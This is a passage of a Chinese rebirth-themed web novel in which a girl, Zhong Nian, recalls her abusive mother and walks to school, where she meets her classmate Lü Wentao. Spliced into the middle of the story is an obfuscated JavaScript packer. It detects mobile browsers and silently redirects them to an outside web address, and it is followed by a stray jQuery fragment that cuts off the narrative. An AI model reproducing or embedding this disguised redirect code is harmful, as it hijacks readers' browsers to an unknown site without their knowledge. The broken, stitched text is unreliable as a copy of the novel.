2. 02(2 / 3)

牛奶。

她不由胸口发闷。

吴春蓉还是高看她了。上辈子的她没有丝毫戒心,还以为这是母亲对她的关爱。

“谢谢姐姐。”钟念接过牛奶杯,一饮而尽。

牛奶可以助眠,但这个夜晚,钟念睡得很不好。

梦里,李鹏举掐着她的脖子,周伟用力按住她的四肢,而姜攸宁和孟元白在一旁冷眼旁观。醒来时,脖颈下潮湿一片,刘海一缕一缕搭在皮肤,很难受。

清晨的凉水带着刻骨的寒意,将梦中的恶念和痛苦驱散。钟念看着镜子中的人,脸颊只有一只手掌大,一双杏眼如雨后的山泉,仿佛带着雾气。嘴唇红润的像刚成熟的草莓。脖颈修长细腻,连接着线条分明的锁骨。

钟念知道自己长得美,可这份美丽并未给她带来美好的机遇,却与遭受的苦难相关。她捋了捋刘海,全部向后梳,扎起一个高马尾,漏出额头黄豆大小的红色印记——

那是小时候她不小心打碎水杯,被吴春蓉推倒,磕在开水壶边留下的疤。自上初中开始,她就一直留着斜刘海,用来掩盖疤痕。如今,不需要了。

钟念出门时,朝阳刚刚开始从天际弥散,吴春蓉打着哈欠从房门中出来。

“妈妈,我去上学了。”

“嗯。”吴春蓉系上围裙,从冰箱里拿出两个鸡蛋,“放学早点回来帮我做饭。”<

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014549|162102||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

/p>

钟念低头,看了眼高高肿起的手背,应了一声。

学校有五公里左右的距离,因为没有零用钱,钟念只能步行上学。她身体弱,走得慢,单程要走差不多一小时。

钟念其实不排斥步行,但现在是高考前的关键阶段,她不想把时间浪费在路上。

“钟念,你又走路上学啊,跟你姐一样坐公交多好!”吕文涛一手捧着冒着热气的手抓饼,把书包扔在课桌上,“你都这么瘦了,胳膊还没我大腿三分之一粗呢,还要减肥!真搞不懂你们这些女孩子。咦?你换发型啦,还挺好看的!”

再次看到吕文涛,钟念有些恍惚。

吕文涛是典型的体育型男孩,运动细胞极其发达,总有使不完的劲,但这劲一点也用不在学习上,高考正常发挥,考上了本省的体校。

上辈子的钟念偷偷喜欢着吕文涛,不想也不敢说出家里的实情,只能用一个又一个谎言,小心翼翼地掩饰着自卑和窘迫。

钟念记得,上辈子她案子的消息刚开始扩散时,吕文涛还发过鼓励的信息给她。

“你怎么看着我发呆啊......”吕文涛脸色微红,摸了摸头:“你的一模卷改完了吗?快给我抄抄!”

“给。”钟念翻出卷子,面不改色道,“我没用零用钱,坐不了公交车。”

吕文涛吃手抓饼的动作立刻僵住,嘴巴动了几次也被发出声音,好半天才小心翼翼道:“怎么没听你说过......”